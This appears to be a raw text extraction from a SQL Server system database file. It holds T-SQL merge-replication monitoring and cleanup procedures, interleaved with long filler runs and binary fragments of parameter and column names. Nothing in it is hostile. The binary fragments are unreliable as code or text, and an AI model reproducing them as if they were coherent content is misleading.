        TABLE_SCHEMA    = s_tpv.TABLE_SCHEMA,
        TABLE_NAME      = s_tpv.TABLE_NAME,
        PRIVILEGE_TYPE  = s_tpv.PRIVILEGE_TYPE,
        IS_GRANTABLE    = s_tpv.IS_GRANTABLE
    from
        sys.spt_table_privileges_view s_tpv
    where
        (@table_schema is null or @table_schema = s_tpv.TABLE_SCHEMA) and
        (@grantee is null or @grantee = s_tpv.GRANTEE) and
        (@grantor is null or @grantor = s_tpv.GRANTOR)
    order by 4,5,6,1,2
0D-@ ^8create procedure sys.sp_MSenum_merge_s
(
@name nvarchar(100), 
@hours int = 0, /* @hours < 0 will return TOP 100 */
@session_type int = 1 /* Return all sessions */
)
as
begin
    set nocount on

    declare @succeed int
    declare @agent_id int
    declare @retry int
    declare @failure int
    declare @min_time datetime

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    /* 
    ** Status const defined in sqlrepl.h 
    */
    select @succeed = 2
    select @retry = 5
    select @failure = 6

    select @agent_id = id from dbo.MSmerge_agents where name = @name

    /* Get date starting point */
    IF @hours < 0
    BEGIN
        select top 100 ms.runstatus, 
            'start_time' = sys.fn_replformatdatetime(ms.start_time), 
            'time' = sys.fn_replformatdatetime(ms.end_time), 
            rh.comments, ms.duration, 
            -- Note: return average rate here !!! delivery_rate column is current rate
            ms.delivery_rate, 
            ms.download_inserts, ms.download_updates, ms.download_deletes, ms.download_conflicts,
            ms.upload_inserts, ms.upload_updates, ms.upload_deletes, ms.upload_conflicts,
            'action_count' = (select count(*) from dbo.MSmerge_history with (READPAST) where
                session_id = ms.session_id and agent_id = @agent_id),
            rh.error_id
            from dbo.MSmerge_history rh with (READPAST), dbo.MSmerge_sessions ms with (READPAST)
            where
            ms.agent_id = @agent_id and
            ((@session_type = 1 and
            (ms.runstatus = @succeed or
            ms.runstatus = @retry or
            ms.timestamp = (select max(ms2.timestamp) from dbo.MSmerge_sessions ms2 with (READPAST) where
                ms2.agent_id = @agent_id))) or 
            ms.runstatus = @failure) and
            ms.session_id = rh.session_id and
            ms.agent_id = rh.agent_id and
            rh.timestamp = (select max(rh2.timestamp) from dbo.MSmerge_history rh2 with (READPAST) where
                rh2.agent_id = @agent_id and rh2.session_id=ms.session_id)
            order by ms.session_id desc
    END
    ELSE
    BEGIN
        IF @hours = 0
        BEGIN
            select @min_time = NULL
        END
        ELSE
        BEGIN
            select @min_time = dateadd(hour, -@hours, getdate())
        END
        select  ms.runstatus, 
            'start_time' = sys.fn_replformatdatetime(ms.start_time), 
            'time' = sys.fn_replformatdatetime(ms.end_time), 
            rh.comments, ms.duration, 
            -- Note: return average rate here !!! delivery_rate column is current rate
            ms.delivery_rate, 
            ms.download_inserts, ms.download_updates, ms.download_deletes, ms.download_conflicts,
            ms.upload_inserts, ms.upload_updates, ms.upload_deletes, ms.upload_conflicts,
            'action_count' = (select count(*) from dbo.MSmerge_history with (READPAST) where
                session_id = ms.session_id and agent_id = @agent_id),
            rh.error_id
            from dbo.MSmerge_history rh with (READPAST), dbo.MSmerge_sessions ms with (READPAST)
            where
            ms.agent_id = @agent_id and
            ((@session_type = 1 and
            (ms.runstatus = @succeed or
            ms.runstatus = @retry or
            ms.timestamp = (select max(ms2.timestamp) from dbo.MSmerge_sessions ms2 with (READPAST) where
                ms2.agent_id = @agent_id))) or 
            ms.runstatus = @failure) and
            (ms.end_time >= @min_time or @min_time IS NULL) and
               ms.session_id = rh.session_id and
            ms.agent_id = rh.agent_id and
            rh.timestamp = (select max(rh2.timestamp) from dbo.MSmerge_history rh2 with (READPAST) where
                rh2.agent_id = @agent_id and rh2.session_id=ms.session_id)        
            order by ms.session_id desc
    END
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`=	<[>	JgWV0B| 8
create procedure sys.sp_replcleanupccsprocs(
	@publication sysname
)
as
begin
	set nocount on
    declare @retcode int
            ,@pub_artid int
            ,@del_format int
            ,@ins_format int
            ,@ins_cmd_is_null int
            ,@del_cmd_is_null int
            ,@pubid int

    /*
    ** Security Check, this proc is called by snapshot agent as DBO on publisher
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
    begin
            return(1)
    end
    /*
    ** post drop for all applicable articles in the publication
    */
	DECLARE #articles CURSOR LOCAL FAST_FORWARD FOR 
	select art.pubid, artid, 
			case 
	            when charindex( N'CALL', upper(ins_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 1  
	            when charindex( N'SCALL', upper(ins_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 5                        
	            else 0 end,
			case 
	            when charindex( N'CALL', upper(del_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 1  
	            when charindex( N'XCALL', upper(del_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 3  
	            when charindex( N'VCALL', upper(del_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 4
	            else 0 end,
			case 
	            when ins_cmd is null then 1
	            when charindex( N'CALL', upper(ins_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 0
	            when charindex( N'SCALL', upper(ins_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 0
	            else 1 end,
			case when del_cmd is null then 1
	            when charindex( N'CALL', upper(del_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 0  
	            when charindex( N'XCALL', upper(del_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 0  
	            when charindex( N'VCALL', upper(del_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 0
	            else 1 end
	from sysarticles art join syspublications pub on art.pubid = pub.pubid where pub.name = @publication and art.type not in (8, 24)

	OPEN #articles
	FETCH #articles INTO @pubid, @pub_artid, @ins_format, @del_format, @ins_cmd_is_null, @del_cmd_is_null
	WHILE (@@fetch_status <> -1)
	BEGIN

	    --
	    --post the resultset of sp_scriptinsproccore for droponly
	    --
	    if @ins_cmd_is_null = 0
	    begin
	        exec @retcode = sys.sp_MSpost_auto_proc @pubid = @pubid, @artid = @pub_artid, @procmapid = 6, @format = @ins_format
	        if(@retcode <> 0) or (@@error <> 0)
	        begin
	            return 1
	        end
	    end

	    --
	    --post the resultset of sp_scriptdelproccore for droponly
	    --
	    if @del_cmd_is_null = 0
	    begin
	        exec @retcode = sys.sp_MSpost_auto_proc @pubid = @pubid, @artid = @pub_artid, @procmapid = 7, @format = @del_format
	        if(@retcode <> 0) or (@@error <> 0)
	        begin
	            return 1
	        end
	    end
	    
	    FETCH #articles INTO @pubid, @pub_artid, @ins_format, @del_format, @ins_cmd_is_null, @del_cmd_is_null
	END -- end of cursur loop
	CLOSE #articles
	DEALLOCATE #articles
	return 0
end
0ա 8create function sys.fn_MSpublication_uses_host_name (
        @pubid uniqueidentifier) 
returns bit
AS
begin
    declare @uses_host_name bit
    if exists (select name from dbo.sysmergepublications 
                where pubid = @pubid and UPPER(dynamic_filters_function_list) like '%HOST_NAME()%'
                and sys.fn_MSisfilteredcolumn(UPPER(REPLACE(REPLACE(REPLACE(REPLACE(dynamic_filters_function_list, char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),'')), 'HOST_NAME', NULL) = 1)
        select @uses_host_name = 1
    else 
        select @uses_host_name = 0
    
    return @uses_host_name
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`
<k?	<e/0
Gh@ 38create procedure sys.sp_MSenum_merge_sd
(
@name nvarchar(100),
@time datetime = NULL
)
as
begin
    set nocount on

    declare @start_time datetime
    declare @agent_id int
    declare @time_up datetime

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    select @agent_id = id from dbo.MSmerge_agents where name=@name
    
    IF @time IS NULL
        select @time = GETDATE()

    /*
    ** Minute-approximate @time can be used.
    ** Note: The select only return datetime data with minute precision
    */
    IF  DATEPART(second, @time) = 0 AND
        DATEPART(millisecond, @time) = 0
    BEGIN
        SELECT @time_up = DATEADD(second, +59, @time)
        SELECT @time_up = DATEADD(millisecond, +999, @time)
    END
    ELSE
        SELECT @time_up = @time

    declare @session_id int

    select top 1 @session_id=session_id
    from dbo.MSmerge_sessions with (READPAST) 
    where agent_id=@agent_id and
    end_time<= @time_up
    order by session_id DESC

    -- have to fake rate/time and count as we only have cumulative count number
    select  ms.runstatus, 
            'time' = sys.fn_replformatdatetime(ms.end_time),
            rh.comments, ms.duration, 
        -- Note: return average rate here !!! delivery_rate column is current rate
        ms.delivery_rate, 
        ms.download_inserts, ms.download_updates, ms.download_deletes, ms.download_conflicts,
        ms.upload_inserts, ms.upload_updates, ms.upload_deletes, ms.upload_conflicts,
        rh.error_id            
        from dbo.MSmerge_history rh with (READPAST), dbo.MSmerge_sessions ms with (READPAST)
        where
        rh.agent_id = @agent_id and
        rh.session_id = @session_id and 
        ms.agent_id = @agent_id and
        ms.session_id = @session_id
        order by rh.session_id desc, rh.timestamp desc
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`A	-%);@	81QU0-etotal_physical_memory_kb0-mavailable_physical_memory_kb0-Ytotal_page_file_kb0-aavailable_page_file_kb0-Ssystem_cache_kb0-]kernel_paged_pool_kb0-ckernel_nonpaged_pool_kb0-hhssystem_high_memory_signal_state0-	hhqsystem_low_memory_signal_state0-
4esystem_memory_state_desc0-88
Kpdw_node_id0-7o/88
K@article_id0-76$$A@pubid0-76A@value0-];(G@job_type!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`Hr?2`C	-@	)
A	%07x0-
jj	a@article_relative_cost0-
88
W@session_duration0-
88
Q@delivery_time0-
88
M@upload_time0-
88
Q@download_time0-
88
[@schema_change_time0-
88
a@prepare_snapshot_time0-
jj	Q@delivery_rate0-
88
S@time_remaining0-
jjg@session_percent_complete0-
88
c@session_upload_inserts0-
88
c@session_upload_updates0-
88
c@session_upload_deletes0-
88
g@session_upload_conflicts0-
 88
m@session_upload_rows_retried0-
!88
g@session_download_inserts0-
"88
g@session_download_updates0-
#88
g@session_download_deletes0-
$88
k@session_download_conflicts0-
%88
q@session_download_rows_retried0-
&88
c@session_schema_changes0-
'88
_@session_bulk_inserts0-
(88
u@session_metadata_rows_cleanedup0-
)88
w@session_estimated_upload_changes0-
*88
{@session_estimated_download_changes0-
+88
U@connection_type0-
,$$A@subid0-
-88
M@info_filter!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Z

		?k2^1gbi`9-7A)B	V0-I@publisher0-C@schema0-I@operation0-M@publication0-K@subscriber0-Q@subscriber_db0-I@publisher0-S@publisher_type- 0-88
C@number0-H.S@procedure_name0-H.88
O@group_number0-H.W@procedure_schema0-H.W@procedure_schema0-X4K@table_name0-X4O@table_schema0-X4M@column_name0-88
Kpdw_node_id0-88
Gthread_id0-88
Iprocess_id0-=name0-88
Epriority0-==Istart_time0-@@?state0-@@Kwait_reason0-	mtotal_processor_elapsed_time0-
ctotal_user_elapsed_time0-7 88
A@objid0-7 O@identity_col0-7 C@ts_col0-7 E@op_type0-7 88
C@indent0-88
A@artid0-00Q@publishertype0-I@publisher0-hhI@usesqlclr0-hhI@inDDLrepl0-;M@publication0-;E@article0-;G@procname0-;hhA@alter0-ܻ$$O@alert_job_id0-Is$$A@pubid0-IsE@article0-IsQ@source_object0-Is00?@type0-IsM@description0-IsC@status0-Is88
_@pre_creation_command0-IsU@creation_script0-Is	O@source_owner0-Is
Y@destination_owner0-IsQ@schema_option0-Is[@destination_object0-Is
S@qualified_name0-IsM@publication0-Is88
S@snapshot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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z-

R

	}	8	ej)J}@e~DG'.g57D?<

m

`-A	6)vC	x2My0-@@Olocation_type0-@@Astatus0-HHEerror_id0-==Istart_time0-	==Eend_time0-
88
Ytotal_elapsed_time0-Grow_count0-@@Ccommand0-CCell_Id0-44SCell_Attributes0-88
=SRID0-E@gGeoObj0-88
K@usDensity00-88
K@usDensity10-88
K@usDensity20-88
K@usDensity30-88
?@card0-88
W@tessellationMode0->>5S@distanceBuffer0-!I@publisher0-!O@publisher_db0-!M@publication0-!88
Y@subscription_type0-GCwait_id0-G@@Isession_id0-G=type0-GKobject_type0-GKobject_name0-GHHIrequest_id0-G==Mrequest_time0-G==Macquire_time0-G	dd?state0-G
88
Epriority0-ȯK@index_name0-ȯO@table_schema0-
88
K@session_id0-
88
G@agent_id0-
88
I@runstatus0-
G@comments0-
hh]@update_existing_row0-
hhS@updateable_row0-
hhI@log_error0-
hhO@update_stats0-
	88
G@phase_id0-

O@article_name0-
88
U@article_inserts0-
88
U@article_updates0-

88
U@article_deletes0-
88
Y@article_conflicts0-
88
_@article_rows_retried0-
jjg@article_percent_complete0-
88
i@article_estimated_changes0-,?@mode0-,?@qual!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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@freqtype0-,	88
O@freqinterval0-,
88
M@freqsubtype0-,88
U@freqsubinterval0-,88
_@freqrelativeinterval0-,
88
_@freqrecurrencefactor0-,88
U@activestartdate0-,88
Q@activeenddate0-,88
_@activestarttimeofday0-,88
[@activeendtimeofday0-,88
M@nextrundate0-,88
M@nextruntime0-,88
M@runpriority0-,Y@emailoperatorname0-,88
Q@retryattempts0-,88
K@retrydelay0-,@E@command0-,88
c@loghistcompletionlevel0-,88
_@emailcompletionlevel0-,M@description0-,Y@tagadditionalinfo0-,88
M@tagobjectid0-,88
Q@tagobjecttype0-,88
[@cmdexecsuccesscode0-, Q@category_name0-,!hhY@failure_detection0-,"88
G@agent_id0-,#88
G@proxy_id0-,$I@job_login0-,%O@job_password0-,&C@job_id0-,'$$O@job_step_uid0-V88
I@object_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!E

d

47

D
		=	HaVCRw0Mz7`O-8A)yG	z+lU0-6?88
Kdatabase_id0-6?4Odatabase_name0-6?88
Akey_id0-6?4Ekey_name0-6?$$Ekey_guid0-6?==Kopened_date0-6?44Astatus0-$$$A@pubid0-$$$A@artid0-$hha@ignore_merge_metadata0-$hhi@force_preserve_rowguidcol0-E@command0-K@xact_seqno0-IBackupName0-WBackupDescription0-00IBackupType0-==QExpirationDate0-hhICompressed0-44EPosition0-44IDeviceType0-EUserName0-	IServerName0-
MDatabaseName0-88
SDatabaseVersion0-==]DatabaseCreationDate0-
jj

IBackupSize0-jj

EFirstLSN0-jj

CLastLSN0-jj

OCheckpointLSN0-jj

WDatabaseBackupLSN0-==SBackupStartDate0-==UBackupFinishDate0-44GSortOrder0-44ECodePage0-88
SUnicodeLocaleId0-88
aUnicodeComparisonStyle0-44YCompatibilityLevel0-88
USoftwareVendorId0-88
]SoftwareVersionMajor0-88
]SoftwareVersionMinor0-88
]SoftwareVersionBuild0-KMachineName0-88
?Flags0-GBindingID0- QRecoveryForkID0-!GCollation0-"IFamilyGUID0-#hhWHasBulkLoggedData0-$hhIIsSnapshot0-%hhIIsReadOnly0-&hhMIsSingleUser0-'hhYHasBackupChecksums0-(hhGIsDamaged0-)hhQBeginsLogChain0-*hh_HasIncompleteMetaData0-+hhQIsForceOffline0-,hhIIsCopyOnly0--[FirstRecoveryForkID0-.jj

MForkPointLSN0-/xxORecoveryModel0-0jj

